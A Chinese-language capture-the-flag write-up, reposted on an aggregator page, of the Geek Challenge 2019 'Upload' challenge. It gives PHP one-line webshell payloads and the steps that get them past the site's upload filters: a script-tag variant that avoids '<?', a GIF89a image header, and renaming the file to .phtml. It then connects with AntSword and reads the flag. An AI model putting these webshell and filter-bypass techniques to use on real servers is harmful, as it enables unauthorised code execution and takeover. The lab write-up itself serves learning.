当前位置: 首页 > news >正文

web:[极客大挑战 2019]Upload

题目

页面显示为一个上传,猜测上传一句话木马文件

先查看源代码看一下有没有有用的信息,说明要先上传图片,先尝试上传含有一句话木马的图片

构造payload

<?php @eval($_POST['123']);?>

上传后页面显示为,不能包含<?

将一句话木马进行修改后绕过限制

构造payload

<script language="php">@eval($_POST'123']);</script>

还是上传不成功,可能是对图片头进行了校验,添加图片头,后上传

构造payload

GIF89a
<script language="php">@eval($_POST'123']);</script>

上传成功了,但是还利用不了

这里使用bp抓包,修改后缀名为.phtml 

需要找到文件的位置,然后使用蚁剑链接

在找文件目录时参考了其他大佬的wp,这里猜测目录位置为/upload/访问

找到了上传的文件

查看能不能使用php代码

成功执行phpinfo,使用蚁剑链接

直接在根目录找flag

总结

1.图片文件头:GIF89a

2.黑名单检测:phtml,在php中php3、php4、php5、phtml等有概率能够解析为脚本执行。

3.检测拦截<?

<script language="pHp">@eval($_POST['123'])</script>

http://www.lryc.cn/news/179501.html

相关文章:

  • ICMP差错包
  • 算法基础课第二部分
  • 【数据结构】外部排序、多路平衡归并与败者树、置换-选择排序(生成初始归并段)、最佳归并树算法
  • 抽象工厂模式 创建性模式之五
  • servlet如何获取PUT和DELETE请求的参数
  • 【Vue.js】使用Element中的Mock.js搭建首页导航左侧菜单---【超高级教学】
  • 从技术创新到应用实践,百度智能云发起大模型平台应用开发挑战赛!
  • 简单三步 用GPT-4和Gamma自动生成PPT PDF
  • QT设置弹窗显示屏幕中央
  • 正点原子嵌入式linux驱动开发——STM32MP1启动详解
  • FPGA的数字钟带校时闹钟报时功能VHDL
  • 分析各种表达式求值过程
  • 企业风险管理策略终极指南
  • OpenCV之分水岭算法(watershed)
  • npm 命令
  • 【bug 记录】yolov5_C_demo 部署在 rv1126
  • [vue-admin-template实战笔记]
  • unity 限制 相机移动 区域(无需碰撞检测)
  • Hudi第二章:集成Spark
  • springboot和vue:八、vue快速入门
  • docker-compose内网本地安装
  • ThreeJs的场景实现鼠标拖动旋转控制
  • jdk 管理工具比对 jEnv jabba SDKMAN
  • 华为云云耀云服务器L实例评测|部署在线图表和流程图绘制工具drawio
  • elementui引入弹出框报错:this.$alert is not defined 解决方案
  • docker的组件和资源管理
  • SEO的优化教程(百度SEO的介绍和优化)
  • Tomcat以及UDP
  • NLP 04(GRU)
  • BUUCTF reverse wp 51 - 55